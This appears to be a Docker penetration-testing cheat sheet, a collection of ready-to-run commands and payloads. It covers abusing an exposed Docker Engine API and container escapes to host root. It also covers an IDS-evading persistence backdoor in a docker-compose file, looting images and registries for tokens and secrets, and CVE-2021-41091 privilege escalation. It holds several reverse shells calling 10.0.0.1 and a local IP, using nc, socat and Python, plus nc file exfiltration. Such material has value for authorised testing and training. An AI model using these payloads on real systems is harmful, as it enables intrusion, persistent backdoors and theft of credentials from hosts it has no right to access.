Docker Pentesting

Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called containers. Default ports are 2375, 2376.

Investigation

Find Docker Binary

If we cannot use docker command by default, we need to find the docker binary.

find / -name "docker" 2>/dev/null

Basic Commands

# List images
docker images
docker image ls
# The history of an image
docker image history <image-name>

# List containers running
docker container ls
# or
docker ps

# List all containers
docker container ls -a
# or
docker ps -a

# List secrets
docker secret ls

# Check configuration of container
docker inspect --format='{{json .Config}}' <container_id_or_name>

# Get a port which is used by the container
docker port <container_id_or_name>

# Scan vulnerabilies (CVEs)
docker scan cves <image>
docker scan cves alpine

# View the SBOM (Software Bill of Materials) for an image
# We can investigate vulnerabilities from the list of packages.
docker sbom alpine:latest
# Json format
docker sbom alpine:latest --format syft-json

# Spawn the shell in the container
docker exec -it <container_id> /bin/bash

# Kill the running docker container
docker kill <container_id>

Check if Containers Running

In target machine, observe the network status by running netstat or ss command.

netstat -punta
# or
ss -ltu

# -------------------------------------------------------

tcp  0  0  127.0.0.1:2375  0.0.0.0:*  LISTEN  -

Basic Operations

Run a New Container

First check the docker images listed.

docker images

Then run a new container from the image.

# -d: detached mode (background)
# -p: map the port of the host to the port in the container
docker run -dp 80:80 <image-name>

If you want to run a new container from a remote repository, run the following.

# --rm: Removes the anonymous volumes when the container is removed
# -i: interactive
# -t: tty
# --network=host: The container is not isolated from the Docker host. The IP address is your own home IP address.
docker run --rm -it --network=host <repository>/<image>

# /bin/bash: spawn a shell within the container
docker run -it nginx /bin/bash

Start a Container which is stopped

# List all containers and check the target ID
docker container ls -a

# Start the container
docker container start <container-id>

Run Commands in a Container

# List containers running and check the target container ID
docker ps

# Run commands by giving the container ID
docker exec <container-id> whoami
docker exec <container-id> cat sample.txt

Stop a Container

# List running containers and check the target container ID
docker ps

# Stop the container by giving the ID
docker stop <container-id>

Remove a Container

# List all containers and check the target container ID
docker ps -a

# Remove the container by givine the ID
docker rm <container-id>
# Force to remove the running container (-f)
docker rm -f <container-id>

Build a Container Image

First off, create a Dockerfile in the root directory of the project.

FROM node:12-alpine

RUN apk add --no-cache python2 g++ make
WORKDIR /app
COPY . .
RUN yarn install --production
CMD ["node", "src/index.js"]

Now run the following command to build the container image.
This command uses the Dockerfile.

# -t: name a tag of the image
docker build -t <tag-name> .

Scan a Container Image

docker scan <image-name>

Pull a Docker Image

We need to download a docker image to start a container at first.

docker pull <image>
docker pull nginx

# Specify a tag
docker pull <image>:<tag>
docker pull nginx:latest
docker pull nginx:stable

Remove a Docker Image

# List images and check the target image ID
docker images

# Remove the image by giving the ID
docker rmi <image-id>

Publish a Docker Image

Before doing below, you need to sign up the Docker Hub and sign in, then create a new repository in your dashboard.

# Login
docker login -u <your-username>

# Tag a new image
docker tag <source-image> <your-username>/<target-image>

# Push
docker push <your-username>/<target-image>

Docker Engine API Pentesting

The Docker Engine API is a RESTfull API accessed by an HTTP client. The default ports are 2375, 2376. The socket file is located at /var/run/docker.sock.

- [engine/api/v1.24](https://docs.docker.com/engine/api/v1.24/)
- [dejandayoff.com](https://dejandayoff.com/the-danger-of-exposing-docker.sock/)

Enumeration

curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes

Privilege Escalation from Docker Image

We may be able to get a root shell from remote Docker images.

1. Check if Docker is Running in Local Machine

In local machine, check if docker is running.

sudo systemctl status docker

If the docker is not running, start it.

sudo systemctl stop docker
sudo systemctl start docker

2. List Remote Docker Images

We need to find what images exist in target Docker API.

docker -H <target-ip>:2375 images

3. Get a Shell

After getting an image, we can use it to create a new container and run with executing sh.

docker -H <target-ip>:2375 run -v /:/mnt --rm -it <running-image-name> chroot /mnt sh

Now we should get a root shell.

Remote Code Execution (RCE)

Reference: https://dejandayoff.com/the-danger-of-exposing-docker.sock/

We might be able to execute remote code by create a new container image using the existing one.

1. Check the Image Name

First we need to find the existing container image and the name of it.

curl <ip>:2375/containers/json
curl <ip>:2375/containers/<id or name>/json

2. Create/Start a New Container

If we found the container image name, prepare a new container configuration named “image.json”.

{
  "Image": "sweettoothinc:latest",
  "Cmd": ["/bin/bash"],
  "Binds": ["/:/mnt:rw"]
}

Then create a new container using Docker Engine API.

curl -X POST -H "Content-Type: application/json" -d @image.json <ip>:2375/containers/create

We get the new container ID, so copy it.

After that, start the new container.

curl -X POST <ip>:2375/containers/<new_container_id>/start

3. Create a New Exec Instance

Next create a exec instance to reverse shell.

    curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
    curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec

We get a exec ID, so copy it.

4. Start an Exec Instance & Reverse Shell

Start a listener in local machine.

nc -lvnp 4444

Now start an exec instance and get a shell.

curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start

We should get a shell.

Docker Escape

Docker escape refers to a security vulnerability that could potentially allow an attacker to break out of a Docker container and gain access to the host system or other containers running on the same host.

- [hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation)
- [PwnPeter](https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25)

Investigation

If we are in the docker container, we first need to investigate basic information about the container.

# Environment variables
env

# Command path
echo $PATH
ls -al /usr/local/bin
ls -al /usr/local/sbin
ls -al /usr/bin
ls -al /bin

# Bash history
cat /root/.bash_history
cat /home/<username>/.bash_history

# Interesting Directories
ls -al /etc
ls -al /mnt
ls -al /opt
ls -al /srv
ls -al /var/www
ls -al /var/tmp
ls -al /tmp
ls -al /dev/shm

# Cron
cat /etc/cron*
crontab -l

# Process
ps aux
ps aux | cat
# https://github.com/DominicBreuker/pspy
./pspy64

# Network
ip addr
netstat -punta
ss -ltu
cat /etc/hosts

# Port scan another host
nmap 172.17.0.1
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo $i is open; done

# SSH
ssh <user>@<another_host>

# Check if docker command is available.
# If not, find the command in the container.
docker -h
find / -name "docker" 2>/dev/null

# Container capabilities
capsh --print

Access Another Host

If we found another host but cannot access it by restrictions, we need to port forward.
Please see details for port fowarding.

Import Required Binary from Local Machine

The container generally has few command that we want to use to exploit, so we need to import manually the command binaries if we need.
Below are examples to transfer arbitrary binary into the docker container.

wget http://<local-ip>:8000/socat

curl <local-ip>:8000/scp -o socat

Mounting

Check disks or mounted folders and we might be able to see the directories of the host system.
See Linux Privilege Escalation for details.

1. List Disks/Mounted Folders

findmnt
lsblk
fdisk -l

2. Mount Folder

If we find a folder which is not mounted in the container, mount it to go inside the directory.

mkdir -p /mnt/tmp
mount /dev/xvda1 /mnt/tmp

Now we can observe inside the /mnt/tmp directory.

Privilege Escalation to Root

Please see Linux Privilege Escalation.

Run Vulnerable Docker Image

According to Hacktricks, we can escape a docker container with the vulnerable image.
Execute the following command in the target machine where a docker container is running..

docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cd /mnt/

Download Interesting Files

# In local machine
nc -lp 4444 > example.txt

# In remote machine
nc <local-ip> 4444 < example.txt

Also we can use “scp” under the condition that the local machine opens SSH server.

# In local machine
sudo systemctl start ssh

# In remote machine
scp ./example.txt <username>@<local-ip>:/home/<username>/example.txt

Run Existing Docker Image

1. Check if current user belongs to "docker" group

groups

2. List Docker Images

docker images

3. Start Container and Get Shell

If we found Docker images running, we can use it to get a root shell Replace “example” with the docker image you found.

# -v: Mount the host directory ('/') to the '/mnt' directory in the container.
# --rm: Automatically remove the container when it exits.
# -it: Interective and TTY
# chroot /mnt sh: Change the root directory of the current process to the '/mnt' directory, then execute 'sh' command to get a shell as root.
docker run -v /:/mnt --rm -it example chroot /mnt sh

Alternatively we can use following commands.

# --entrypoint=/bin/bash: Override the default entrypoint to '/bin/bash', which means that when the container starts, it will launch a bash shell.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ <image>:<tag>
# e.g.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ example:master

After that, you can investigate sensitive information in the /mnt/ folders.

Docker Socket Escape

Reference: https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25

Establish Persistence After PrivEsc

After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.

Create a ~/docker-compose.yaml in the container.

You need to replace the <image>, <local-ip>, <local-ip> with your environment.

version: "2.1"
services:
  backdoorservice:
    restart: always
    image: <image>
    entrypoint: > 
       python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
       s.connect(("<local-ip>",<local-ip>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
       pty.spawn("/bin/sh")'
    volumes:
      - /:/mnt
    privileged: true

Then start listener in your local machine.

nc -lvnp 4444

Now run the docker compose in remote machine. You should gain a shell.

docker-compose run

1. Run the Docker Container

    docker pull public.ecr.aws/<registry-alias>/<repository>:latest
    docker images
    docker run -it public.ecr.aws/<registry-alias>/<repository>:latest

2. Get Sensitive Information in the Container

You may be able to get the interesting data like api_key.

printenv

3. Get Sensitive Information in Local Machine

    mkdir example
    cd example/
    docker save -o example.tar public.ecr.aws/<registry-alias>/<repository>:latest
    tar -xf example.tar

    # Config files
    cat manifest.json | jq
    cat f9ab.......json | jq

    # Also config file in each directory
    cd 2246f........../
    tar -xvf layer.tar

    # Get sensitive information
    grep -e 'token' -e 'secret' */*

Docker Registry Pentesting

Docker Registry is a steteless, highly scalable server side application that stores and lets you distribute Docker images. A default port is 5000.

- [tbhaxor.com](https://tbhaxor.com/exploiting-insecure-docker-registry/)

Endpoints

/v2/_catalog
/v2/<repository>/tags/list
# We can download the manifest given tag.
/v2/<repository>/manifests/<tag>

Extract Layers

If we download the manifest with the above, see the content and blobsums (sha256:abcd...) in fsLayers.

curl -so 1.tar https://example.com:5000/v2/<repository>/blobs/sha256:abcd...
tar -xvf 1.tar

After extracting tar files, investigate files or directories to find the sensitive information.

Moby Docker Engine PrivEsc

Directory Traversal & Arbitrary Command Execution (CVE-2021-41091 )

1. Find Docker Container Directory

First off, find the directory which the docker container mounted

findmnt

# Results e.g.
/var/lib/docker/overlay2/abcdef...xyz/merged

Assume the directory above found, we can investigate in the directory.

ls -la /var/lib/docker/overlay2/abcdef...xyz/merged/

2. Prepare SUID Binary in Container

If we can be root in the docker container, set uid arbitrary binary as below. Please note that we need to do that in the container, not the real host.

chmod u+s /bin/bash

3. Execute the SUID Binary in Real Host

Back to the real host machine again, execute the binary which we set uid to privilege escalation.

/var/lib/docker/voerlay2/abdef...xyz/merged/bin/bash -p

We should get a root shell.